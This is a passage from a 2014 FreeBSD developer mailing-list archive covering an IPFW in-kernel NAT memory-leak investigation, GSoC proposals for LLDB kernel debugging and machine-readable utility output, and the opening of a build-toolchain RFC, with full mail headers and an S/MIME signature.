List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 04:53:05 -0000 Can you dump out vmstat -z during the leak and once you've unloaded it? -a On 18 March 2014 20:36, Karl Denninger wrote: > > On 3/18/2014 4:30 PM, John Baldwin wrote: >> >> On Tuesday, March 18, 2014 3:36:04 pm Karl Denninger wrote: >>> >>> On 3/18/2014 2:05 PM, John Baldwin wrote: >>>> >>>> On Sunday, March 16, 2014 4:36:06 pm Karl Denninger wrote: >>>>> >>>>> Is there a reasonable way to determine who or what has that memory >>>>> locked up -- and thus why the vm system is not demoting that space into >>>>> the cache bucket so it can be freed (which, if my understanding is >>>>> correct, should be happening long before now!) >>>> >>>> I have a hackish thing (for 8.x, might work on 10.x) to let you figure >>>> out >>>> what is using up RAM. This should perhaps go into the base system at >>>> some >>>> point. >>>> >>>> Grab the bits at http://people.freebsd.org/~jhb/vm_objects/ >>>> >>>> You will want to build the kld first and use 'make load' to load it. It >>>> adds >>>> a new sysctl that dumps info about all the VM objects in the system. >>>> You can >>>> then build the 'vm_objects' tool and run it. It can take a while to run >>>> if >>>> you have NFS mounts, so I typically save its output to a file first and >>>> then >>>> use sort on the results. sort -n will show you the largest consumer of >>>> RAM, >>>> sort -n -k 3 will show you the largest consumer of inactive pages. Note >>>> that 'df' and 'ph' objects are anonymous, and that filename paths aren't >>>> always reliable, but this can still be useful. >>>> >>> Thanks. >>> >>> I suspect the cause of the huge inact consumption is a RAM leak in the >>> NAT code in IPFW. It was not occurring in 9.2-STABLE, but is on >>> 10.0-STABLE, and reverting to natd in userland stops it -- which >>> pretty-well isolates where it's coming from. >> >> Memory for in-kernel NAT should be wired pages, not inactive. > > Yeah, should be. :-) > > But..... it managed to lock up 19GB of the 24GB the system has in inact > pages over 12 hours, and dropping the system to single user and unloading > the modules did not release the RAM...... which is why the question (on how > to track down what the hell is going on.) > > Changing the config back to natd as opposed to in-kernel NAT, however, made > the problem disappear. > > -- > -- Karl > karl@denninger.net > > From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 07:33:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 625349AB; Wed, 19 Mar 2014 07:33:28 +0000 (UTC) Received: from mail-ve0-x233.google.com (mail-ve0-x233.google.com [IPv6:2607:f8b0:400c:c01::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id F3409FD6; Wed, 19 Mar 2014 07:33:27 +0000 (UTC) Received: by mail-ve0-f179.google.com with SMTP id db12so8523860veb.10 for ; Wed, 19 Mar 2014 00:33:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=dPm8Yu0p6tDziDNXVhgvSuOs34X7sfxjb8q4gGC9ctA=; b=F/FwavqeTNY8dAFlHlVIsn863ydSNKc2AThaCrm6rMBMLqkyOZV/JD3hRZG50Mmt/4 X1MhPJUqT8Sb5s9M2uSWObHskHJWuqvsDhS3dl+eU89E+8azW4zKCti8Wmy/ezlEefsY cBbDIJgBfcaMBschALd72A+MWeYRfc/KXIZn9NJ2BkOe/WBQVlcX3cuz8KmbzX/oEH0L gJl502ocFzQDYq2yb9+/QbBBOU64L31cyBp0nlbLdJIdWaXv6+WTBd+FSL846YmyLKmT JDpEpSmTeZwx/A1GjaRTXdjEtah26E0cd22IdYXDgIBWpwW8CuH3i0+Nba0r6RoBOEyP 2yZw== MIME-Version: 1.0 X-Received: by 10.52.37.161 with SMTP id z1mr9216703vdj.29.1395214407169; Wed, 19 Mar 2014 00:33:27 -0700 (PDT) Received: by 10.220.135.199 with HTTP; Wed, 19 Mar 2014 00:33:27 -0700 (PDT) In-Reply-To: <532895C2.1010006@freebsd.org> References: <532895C2.1010006@freebsd.org> Date: Wed, 19 Mar 2014 08:33:27 +0100 Message-ID: Subject: Re: GSoC proposal: kernel debugging support for LLDB From: Mike Ma To: Julian Elischer Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-hackers@freebsd.org, Ed Maste X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 07:33:28 -0000 Hi Julian, Actually LLDB has GDB remote protocol and serial port support. We'll just need to connect the dots and make it fully on FreeBSD. On Tue, Mar 18, 2014 at 7:51 PM, Julian Elischer wrote: > most interesting kernel debug support is for live debugging (with the remote > stub or similar) > how does this relate to that? > > > On 3/17/14, 12:35 PM, Mike Ma wrote: >> >> Hi all, >> >> I've submitted a GSoC proposal here, >> >> http://www.google-melange.com/gsoc/proposal/public/google/gsoc2014/mikemandarine/5665319561461760. >> I'm copying the proposal here for wider audience. >> Any suggestions or comments are more than appreciated. >> >> Thanks a lot for your time. >> >> Project Description >> I'm planning to add a plugin called FreeBSD-kernel to LLDB, and the >> existing userland ELF core strategies can be inherited. On FreeBSD >> system, kernel virtual memory image can be accessed using libkvm >> interfaces, as to support kernel debugging, libkvm APIs, i.e. >> kvm_read(3)/kvm_write(3), will be mainly used. To fully support kernel >> debugging, module metadata parsing and module automatic loading will >> also be implemented. >> >> There is some existing work related to this project. The first is kgdb >> in FreeBSD code base, it is a kernel debugger based on gdb. Plus, >> there is Mac OS X kernel debugging support in LLDB as well. This >> project will be focused on the platform that LLDB supports, including >> amd64, mips and i386. Once this project is done, remote kernel >> debugging and cross-platform kernel debugging would be the next steps >> of interest. >> >> Deliverables >> - There are two major milestones: >> #1 Basic support for opening kernel crash dumps and /dev/mem. >> (mid-term deliverable) >> #2 Full debugging support by adding module parsing and loading. >> (final deliverable) >> >> Test Plan >> - Check all functionalities and commands are working properly, and >> compare behavior with kgdb and LLDB. >> - Benchmark tests on startup, stepping, etc. >> >> Project Schedule >> - Week 1 - 3: Kernel crash dumps support. >> - Week 4 - 6: Live debugging against /dev/mem support. >> - Week 7 - 10: Kernel Module parsing and loading support. >> - Week 11 - 12: Tests and bug fixing, and documentation work. >> All features should be done by the suggested Pencils down day (Aug. >> 11th). >> >> > -- Cheers, Mike From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 10:59:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C23D6690 for ; Wed, 19 Mar 2014 10:59:56 +0000 (UTC) Received: from fs.denninger.net (wsip-70-169-168-7.pn.at.cox.net [70.169.168.7]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 71AAD61E for ; Wed, 19 Mar 2014 10:59:55 +0000 (UTC) Received: from [127.0.0.1] (localhost [127.0.0.1]) by fs.denninger.net (8.14.8/8.14.8) with ESMTP id s2JAxs6Z036146 for ; Wed, 19 Mar 2014 05:59:54 -0500 (CDT) (envelope-from karl@denninger.net) Received: from [127.0.0.1] (TLS/SSL) [192.168.1.40] by Spamblock-sys (LOCAL/AUTH); Wed Mar 19 05:59:54 2014 Message-ID: <532978A5.3050707@denninger.net> Date: Wed, 19 Mar 2014 05:59:49 -0500 From: Karl Denninger User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Adrian Chadd Subject: Re: Tracking down what has inact pages locked up References: <53260B36.2070409@denninger.net> <201403181505.47349.jhb@freebsd.org> <5328A024.6050901@denninger.net> <201403181730.02471.jhb@freebsd.org> <532910D1.3010704@denninger.net> In-Reply-To: Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha1; boundary="------------ms030305030907060707060007" X-Antivirus: avast! (VPS 140318-2, 03/18/2014), Outbound message X-Antivirus-Status: Clean Cc: Alan Cox , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 10:59:56 -0000 This is a cryptographically signed message in MIME format. --------------ms030305030907060707060007 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Yes, but I will have to be strategic on this -- probably have to wait=20 for the weekend as this particular box is one that will generate a lot=20 of screaming if I reboot it to turn in-kernel NAT back on (say much less = play on the console in single-user mode) during the work week :-) I did that and didn't see anything sucking up the RAM -- which was what=20 got my attention. On 3/18/2014 11:53 PM, Adrian Chadd wrote: > Can you dump out vmstat -z during the leak and once you've unloaded it?= > > > -a > > > On 18 March 2014 20:36, Karl Denninger wrote: >> On 3/18/2014 4:30 PM, John Baldwin wrote: >>> On Tuesday, March 18, 2014 3:36:04 pm Karl Denninger wrote: >>>> On 3/18/2014 2:05 PM, John Baldwin wrote: >>>>> On Sunday, March 16, 2014 4:36:06 pm Karl Denninger wrote: >>>>>> Is there a reasonable way to determine who or what has that memory= >>>>>> locked up -- and thus why the vm system is not demoting that space= into >>>>>> the cache bucket so it can be freed (which, if my understanding is= >>>>>> correct, should be happening long before now!) >>>>> I have a hackish thing (for 8.x, might work on 10.x) to let you fig= ure >>>>> out >>>>> what is using up RAM. This should perhaps go into the base system = at >>>>> some >>>>> point. >>>>> >>>>> Grab the bits at http://people.freebsd.org/~jhb/vm_objects/ >>>>> >>>>> You will want to build the kld first and use 'make load' to load it= =2E It >>>>> adds >>>>> a new sysctl that dumps info about all the VM objects in the system= =2E >>>>> You can >>>>> then build the 'vm_objects' tool and run it. It can take a while t= o run >>>>> if >>>>> you have NFS mounts, so I typically save its output to a file first= and >>>>> then >>>>> use sort on the results. sort -n will show you the largest consume= r of >>>>> RAM, >>>>> sort -n -k 3 will show you the largest consumer of inactive pages. = Note >>>>> that 'df' and 'ph' objects are anonymous, and that filename paths a= ren't >>>>> always reliable, but this can still be useful. >>>>> >>>> Thanks. >>>> >>>> I suspect the cause of the huge inact consumption is a RAM leak in t= he >>>> NAT code in IPFW. It was not occurring in 9.2-STABLE, but is on >>>> 10.0-STABLE, and reverting to natd in userland stops it -- which >>>> pretty-well isolates where it's coming from. >>> Memory for in-kernel NAT should be wired pages, not inactive. >> Yeah, should be. :-) >> >> But..... it managed to lock up 19GB of the 24GB the system has in inac= t >> pages over 12 hours, and dropping the system to single user and unload= ing >> the modules did not release the RAM...... which is why the question (o= n how >> to track down what the hell is going on.) >> >> Changing the config back to natd as opposed to in-kernel NAT, however,= made >> the problem disappear. >> >> -- >> -- Karl >> karl@denninger.net >> >> > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" > > > %SPAMBLOCK-SYS: Matched [@freebsd.org+], message ok --=20 -- Karl karl@denninger.net --------------ms030305030907060707060007 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIFTzCC BUswggQzoAMCAQICAQgwDQYJKoZIhvcNAQEFBQAwgZ0xCzAJBgNVBAYTAlVTMRAwDgYDVQQI EwdGbG9yaWRhMRIwEAYDVQQHEwlOaWNldmlsbGUxGTAXBgNVBAoTEEN1ZGEgU3lzdGVtcyBM TEMxHDAaBgNVBAMTE0N1ZGEgU3lzdGVtcyBMTEMgQ0ExLzAtBgkqhkiG9w0BCQEWIGN1c3Rv bWVyLXNlcnZpY2VAY3VkYXN5c3RlbXMubmV0MB4XDTEzMDgyNDE5MDM0NFoXDTE4MDgyMzE5 MDM0NFowWzELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExFzAVBgNVBAMTDkthcmwg RGVubmluZ2VyMSEwHwYJKoZIhvcNAQkBFhJrYXJsQGRlbm5pbmdlci5uZXQwggIiMA0GCSqG SIb3DQEBAQUAA4ICDwAwggIKAoICAQC5n2KBrBmG22nVntVdvgKCB9UcnapNThrW1L+dq6th d9l4mj+qYMUpJ+8I0rTbY1dn21IXQBoBQmy8t1doKwmTdQ59F0FwZEPt/fGbRgBKVt3Quf6W 6n7kRk9MG6gdD7V9vPpFV41e+5MWYtqGWY3ScDP8SyYLjL/Xgr+5KFKkDfuubK8DeNqdLniV jHo/vqmIgO+6NgzPGPgmbutzFQXlxUqjiNAAKzF2+Tkddi+WKABrcc/EqnBb0X8GdqcIamO5 SyVmuM+7Zdns7D9pcV16zMMQ8LfNFQCDvbCuuQKMDg2F22x5ekYXpwjqTyfjcHBkWC8vFNoY 5aFMdyiN/Kkz0/kduP2ekYOgkRqcShfLEcG9SQ4LQZgqjMpTjSOGzBr3tOvVn5LkSJSHW2Z8 Q0dxSkvFG2/lsOWFbwQeeZSaBi5vRZCYCOf5tRd1+E93FyQfpt4vsrXshIAk7IK7f0qXvxP4 GDli5PKIEubD2Bn+gp3vB/DkfKySh5NBHVB+OPCoXRUWBkQxme65wBO02OZZt0k8Iq0i4Rci WV6z+lQHqDKtaVGgMsHn6PoeYhjf5Al5SP+U3imTjF2aCca1iDB5JOccX04MNljvifXgcbJN nkMgrzmm1ZgJ1PLur/ADWPlnz45quOhHg1TfUCLfI/DzgG7Z6u+oy4siQuFr9QT0MQIDAQAB o4HWMIHTMAkGA1UdEwQCMAAwEQYJYIZIAYb4QgEBBAQDAgWgMAsGA1UdDwQEAwIF4DAsBglg hkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFHw4 +LnuALyLA5Cgy7T5ZAX1WzKPMB8GA1UdIwQYMBaAFF3U3hpBZq40HB5VM7B44/gmXiI0MDgG CWCGSAGG+EIBAwQrFilodHRwczovL2N1ZGFzeXN0ZW1zLm5ldDoxMTQ0My9yZXZva2VkLmNy bDANBgkqhkiG9w0BAQUFAAOCAQEAZ0L4tQbBd0hd4wuw/YVqEBDDXJ54q2AoqQAmsOlnoxLO 31ehM/LvrTIP4yK2u1VmXtUumQ4Ao15JFM+xmwqtEGsh70RRrfVBAGd7KOZ3GB39FP2TgN/c L5fJKVxOqvEnW6cL9QtvUlcM3hXg8kDv60OB+LIcSE/P3/s+0tEpWPjxm3LHVE7JmPbZIcJ1 YMoZvHh0NSjY5D0HZlwtbDO7pDz9sZf1QEOgjH828fhtborkaHaUI46pmrMjiBnY6ujXMcWD pxtikki0zY22nrxfTs5xDWGxyrc/cmucjxClJF6+OYVUSaZhiiHfa9Pr+41okLgsRB0AmNwE f6ItY3TI8DGCBQowggUGAgEBMIGjMIGdMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHRmxvcmlk YTESMBAGA1UEBxMJTmljZXZpbGxlMRkwFwYDVQQKExBDdWRhIFN5c3RlbXMgTExDMRwwGgYD VQQDExNDdWRhIFN5c3RlbXMgTExDIENBMS8wLQYJKoZIhvcNAQkBFiBjdXN0b21lci1zZXJ2 aWNlQGN1ZGFzeXN0ZW1zLm5ldAIBCDAJBgUrDgMCGgUAoIICOzAYBgkqhkiG9w0BCQMxCwYJ KoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0xNDAzMTkxMDU5NDlaMCMGCSqGSIb3DQEJBDEW BBS1OPnAj/kRF+VQafXhr2nsfOL4bzBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIG0BgkrBgEEAYI3EAQxgaYwgaMwgZ0xCzAJBgNV BAYTAlVTMRAwDgYDVQQIEwdGbG9yaWRhMRIwEAYDVQQHEwlOaWNldmlsbGUxGTAXBgNVBAoT EEN1ZGEgU3lzdGVtcyBMTEMxHDAaBgNVBAMTE0N1ZGEgU3lzdGVtcyBMTEMgQ0ExLzAtBgkq hkiG9w0BCQEWIGN1c3RvbWVyLXNlcnZpY2VAY3VkYXN5c3RlbXMubmV0AgEIMIG2BgsqhkiG 9w0BCRACCzGBpqCBozCBnTELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExEjAQBgNV BAcTCU5pY2V2aWxsZTEZMBcGA1UEChMQQ3VkYSBTeXN0ZW1zIExMQzEcMBoGA1UEAxMTQ3Vk YSBTeXN0ZW1zIExMQyBDQTEvMC0GCSqGSIb3DQEJARYgY3VzdG9tZXItc2VydmljZUBjdWRh c3lzdGVtcy5uZXQCAQgwDQYJKoZIhvcNAQEBBQAEggIAecWwGzmEMsHKMSm/y+ampTnvCkRC 5bbA/mvnYU33noUCxYZSWHSj4Nnwzlr5AKUCJXElvIBGaQl/81dg/Ssp2qkRy9SwxI0Fm6ar StyXsst0LR9i2Xwm+9Utn/T8JyflL8hM8M14dFbrU+bjI7MblEIgJtArl1yLiZnt1O5klj+W KQ661ldu/5f9NyD6DHA2q1jf409fJusOd6m32DxZmhS0TobD5IGR/P442tnnQxNfVDxcCMLi B0jDTpExgBYcBl1qdzK1bJ7J6KSgPbV3lYSrowJIRB6gaXJlXgJuIssnfcn1RL2CuIB3SUQK ArhZ+6hUswREbXXp3CX5ZvlBUlN8oScIWGhZpJlxtVpRJj5GW4fpnOL7/vltJhbrcEG5G/hd LjmBoqy2p5DdEhSyxyTazE8wxmw+0wgJYx0rqBeQ+kot5gnl3Y2/IBOm4QW0a9s6Mq0W0GO1 9ybkB8TCJZ186g9JNJFFS1dNpEWn+NHiQV+TVpDGZFuD4jAs7R1wdP/YFvc6xjvjI10ERjEc +i2LsfRSDEn7tbPFsa8W6BzDFNTMPpMN6qUqxr93TrZihMplHIscHZetZJNVZsePuvn3+JEA 1XdCz2UnRP2qdruIxnpRqAtALL/PUufcxutMuK6v9pqjryoF+CrgheFRPr0qVAHw7oS9e2aO E9jjPy0AAAAAAAA= --------------ms030305030907060707060007-- From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 11:28:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CC9EFD0D; Wed, 19 Mar 2014 11:28:01 +0000 (UTC) Received: from bay0-omc2-s5.bay0.hotmail.com (bay0-omc2-s5.bay0.hotmail.com [65.54.190.80]) by mx1.freebsd.org (Postfix) with ESMTP id B925994A; Wed, 19 Mar 2014 11:28:01 +0000 (UTC) Received: from BAY168-W125 ([65.54.190.123]) by bay0-omc2-s5.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Wed, 19 Mar 2014 04:26:56 -0700 X-TMN: [Do1TiYhnmGczG8ivOnun1A2By9hwB1/2] X-Originating-Email: [szive@live.com] Message-ID: From: =?utf-8?B?5b6Q5b+X6ZSL?= To: FreeBSD-Hackers Subject: [GSoC] proposal of the first idea Date: Wed, 19 Mar 2014 11:26:55 +0000 Importance: Normal Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 X-OriginalArrivalTime: 19 Mar 2014 11:26:56.0560 (UTC) FILETIME=[22BD7300:01CF4366] Cc: "A. Koszek Wojciech" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 11:28:02 -0000 SGkgYWxsLArCoCDCoCDCoEkgYW0gZ29pbmcgdG8gYXBwbHkgdGhlIEdvb2dsZSBTdW1tZXIgb2Yg Q29kZSBmb3IgdGhlIGlkZWEgTWFjaGluZSByZWFkYWJsZQpvdXRwdXQgZnJvbSB1c2VybGFuZCB1 dGlsaXRpZXMuQmVsb3cgaXMgbXkgcHJvcG9zYWwsIG9waW5pb25zIGFuZCBzdWdnZXN0aW9ucyBh cmXCoAp3ZWxjb21lLsKgCgoqIE1hY2hpbmUgcmVhZGFibGUgb3V0cHV0IGZyb20gdXNlcmxhbmQg dXRpbGl0aWVzCiogR2VuZXJhbCBJbmZvcm1hdGlvbgoqKiBOYW1lCsKgIMKgWmhpZmVuZ8KgCioq IEVtYWlsCsKgIMKgc3ppdmVAbGl2ZS5jb20KKiogUGhvbmUKwqAgwqArODYgMTg4IDI1MTUgNTc0 NgoqKiBBdmFpbGFiaWxpdHkKwqAgwqA0MCBob3VycyBwZXIgd2VlawoqKiBCaW9ncmFwaHkKwqAg SSdtIGFuIHVuZGVyZ3JhZHVhdGUgc3R1ZGVudCBmcm9tIGRlcGFydG1lbnQgb2YgY29tcHV0ZXIg c2NpZW5jZSB0ZWNobm9sb2d5LApHdWFuZ2RvbmcgVW5pdmVyc2l0eSBvZiBUZWNobm9sb2d5LCBD aGluYS4gV2l0aCB5ZWFycyBvZiBzdHVkeSBhbmQgcHJhY3RpY2UgSQrCoG1hc3RlciBzb21lIHNr aWxscyBvZiBDOyBhbmQgYmVuZWZpdCBmcm9tIGFuIG9ubGluZSBwcmludCBwcm9qZWN0IEkgZ2V0 wqAKZmFtaWxpYXIgd2l0aCBYTUwsSlNPTiBhbmQgbGlieG1sLkkgYW0gYSBxdWljayBsZWFybmVy LCBhbmQgYWZ0ZXIgaGF2aW5nIHNvbWUKcmVzZWFyY2ggb24gdGhlIHByb2plY3QgSSBoYXZlIGEg YmFzaWMgdW5kZXJzdGFuZCBmb3IgdGhlIHNvbHV0aW9uLiBCZXNpZGUswqAKc2luY2UgZmluaXNo ZWQgbW9zdCBvZiBteSBjb3Vyc2Ugc3VjaCBhcyAnZGF0YSBzdHJ1Y3R1cmUnLCdvcGVyYXRpbmcg c3lzdGVtJwphbmQgJ2NvbXB1dGVyIG5ldHdvcmsnLCBJIGhhdmUgZW5vdWdoIHRpbWUgYW5kIHdp bGxwb3dlciB0byBvdmVyY29tZSB0aGXCoApkaWZmaWN1bHRpZXMgZHVyaW5nIHRoZSBwcm9qZWN0 LsKgCioqIFBvc3NpYmxlIE1lbnRvcjoKKiBQcm9qZWN0IEluZm9ybWF0aW9uCioqIFByb2plY3Qg VGl0bGUKwqAgwqBFYXN5IHBhcnNlZCBvdXRwdXQgZnJvbSDCoHV0aWxpdGllcwoqKiBQcm9qZWN0 IERlc2NyaXB0aW9uCsKgIMKgVG8gcmV0cmlldmFsIGluZm9ybWF0aW9uIGZyb20gdGhlIG91dHB1 dCBvZiB1dGlsaXRpZXMgbGlrZSBzeXNjdGwsaW9zdGF0IGlzwqAKb2Z0ZW4gYSB0cml2aWFsIHdv cmsgYmVjYXVzZSBvZiB0aGVpciBkZXNpZ24gZm9yIGh1bWFuIHJlYWRhYmxlLkluIHRoaXMgcHJv amVjdCwKSSdkIGxpa2UgdG8gY29udmVydCB0aGUgdXRpbGl0aWVzIHN5c2N0bCxpZmNvbmZpZyx2 bXN0YXQsaW9zdGF0IGFuZCBuZXRzdGF0IHRvwqAKZW1pdCBYTUwsSlNPTiBhbmQgWUFNTC4KwqAg wqBNeSB3b3JrIHdpbGwgYmFzZSBvbiB0aGUgbGlicmFyeSBsaWJic2RzdGF0LiBBZnRlciBpbXBs ZW1lbnRlZCwgdGhlIGxpYnJhcnkgwqAKc2hvdWxkIHVuZGVyc3RhbmQgdGhlIG91dHB1dCBzdHJ1 Y3R1cmUgb2YgdGhlIHV0aWxpdGllcyBhbmQgY2FuIGRpc3BsYXkgc3RhdGlzLQp0aWNzIGluIFhN TCwgSlNPTiBhbmQgWUFNTCBmb3JtYXQuIEZvciBzeXNjdGwgYW5kIGlmY29uZmlnLCBpdCdzIG5v dCBkaWZmaWN1bHTCoAp0byBjb252ZXJ0IHRoZW07SSB3b3VsZCBkZWFsIHdpdGggdGhlIG91dHB1 dCBvZiBzeXNjdGwgd2l0aCBvcHRpb25zIFstQWFkZWlvWHhdCmFuZCBpZmNvbmZpZyB3aXRoIG9w dGlvbnMgWy1tTGFkdXZDa10uIE1vcmUgYXR0ZW50aW9uIHdpbGwgYmUgcGF5IG9uIHZtc3RhdCzC oAppb3N0YXQgYW5kIG5ldHN0YXQgYmVjYXVzZSB0aGV5IGhhdmUgZHluYW1pYyBzdGF0aXN0aWNz IHdpdGggb3B0aW9uIFstdyBbd2FpdF1dLsKgCsKgIMKgSSBwbGFuIHRvIHNldCBhbiBlbnZpcm9u bWVudCB2YXJpYWJsZSB0byBkZXRlY3Qgd2hhdCBmb3JtYXQgc2hvdWxkIGJlIHVzZWQuClRoaXMg cmVkdWNlIGRpcmVjdGx5IGNoYW5nZSBpbiB0aGUgdXRpbGl0aWVzJyBzb3VyY2Vjb2RlIGFuZCBt YXkgYmUgdXNlZnVsIGluCnNjcmlwdCBwcm9ncmFtbWluZy4gwqDCoAoqKiBEZWxpdmVyYWJsZQox KSB0aGUgdXRpbGl0aWVzIGNhbiBlbWl0IFhNTCBmb3JtYXQKMikgdGhlIHV0aWxpdGllcyBjYW4g ZW1pdCBKU09OIGZvcm1hdAozKSB0aGUgdXRpbGl0aWVzIGNhbiBlbWl0IFlBTUwgZm9ybWF0Cioq IFRlc3QgUGxhbgorIENoZWNrIG91dHB1dCBvZiB1dGlsaXRpZXMgd2l0aCBzb21lIHNwZWNpYWwg dGhhdCBhcmUgbm90IGNvbnZlcnQgaXMgdGhlIHNhbWUKwqAgYXMgYmVmb3JlLgorIENoZWNrIG91 dHB1dCBvZiB1dGlsaXRpZXMgY2FuIGJlIHByb3BlciBwYXJzZWQgdXNpbmcgbGlieG1sLGxpYmpz b24gYW5kwqAKwqAgbGlieWFtbC4KKiogUHJvamVjdCBTY2hlZHVsZQorIGJlZm9yZSBtaWQtdGVy bQrCoCAxKSAxOSBNYXkgwqAgwqB0byA0IMKgSnVuZTogwqAgc3lzY3RsIGFuZCBpZmNvbmZpZyBj YW4gZGlzcGxheSBYTUwgb3V0cHV0CsKgIDIpIDUgwqBKdW5lIMKgIHRvIDI1IEp1bmU6IMKgIGlv c3RhdCx2bXN0YXQgYW5kIG5ldHN0YXQgY2FuIGRpc3BsYXkgWE1MIG91dHB1dAorIG1pZC10ZXJt IHRvIGZpbmFsLXRlcm0KwqAgMSkgMjYgSnVuZSDCoCB0byA1IMKgSnVseTogwqAgc3lzY3RsIGFu ZCBpZmNvbmZpZyBjYW4gZGlzcGxheSBKU09OIG91dHB1dArCoCAyKSA2IMKgSnVseSDCoCB0byAy MCBKdWx5OiDCoCBpb3N0YXQsdm1zdGF0IGFuZCBuZXRzdGF0IGNhbiBkaXNwbGF5IEpTT04gb3V0 cHV0CsKgIDMpIDIxIEp1bHkgwqAgdG8gMzEgSnVseTogwqAgc3lzY3RsIGFuZCBpZmNvbmZpZyBj YW4gZGlzcGxheSBZQU1MIG91dHB1dArCoCA0KSAxIMKgQXVndXN0IHRvIDE4IEF1Z3VzdDogaW9z dGF0LHZtc3RhdCBhbmQgbmV0c3RhdCBjYW4gZGlzcGxheSBZQU1MIG91dHB1dAoKCkNoZWVycywK WmhpZmVuZyAJCSAJICAgCQkgIA== From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 11:42:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 56270F8D; Wed, 19 Mar 2014 11:42:15 +0000 (UTC) Received: from onlyone.friendlyhosting.spb.ru (onlyone.friendlyhosting.spb.ru [46.4.40.135]) by mx1.freebsd.org (Postfix) with ESMTP id 13F24AB4; Wed, 19 Mar 2014 11:42:14 +0000 (UTC) Received: from lion.home.serebryakov.spb.ru (unknown [IPv6:2001:470:923f:1:3501:1670:b2f0:fa6]) (Authenticated sender: lev@serebryakov.spb.ru) by onlyone.friendlyhosting.spb.ru (Postfix) with ESMTPSA id 43DA34AC1C; Wed, 19 Mar 2014 15:42:13 +0400 (MSK) Date: Wed, 19 Mar 2014 15:42:09 +0400 From: Lev Serebryakov Organization: FreeBSD X-Priority: 3 (Normal) Message-ID: <1541075262.20140319154209@serebryakov.spb.ru> To: freebsd-current@FreeBSD.org Subject: [RFC] Install world with external toolcahin: need add STRIPBIN to IMAKEENV MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------01C0A8100016B00F1" Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: lev@FreeBSD.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 11:42:15 -0000 ------------01C0A8100016B00F1 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, Freebsd-current. To make "make installworld" successfull with external toolchain (with WITHOUT_BINUTILS-built world) we need to have STRIBIN, pointing to working "strip" in environment, 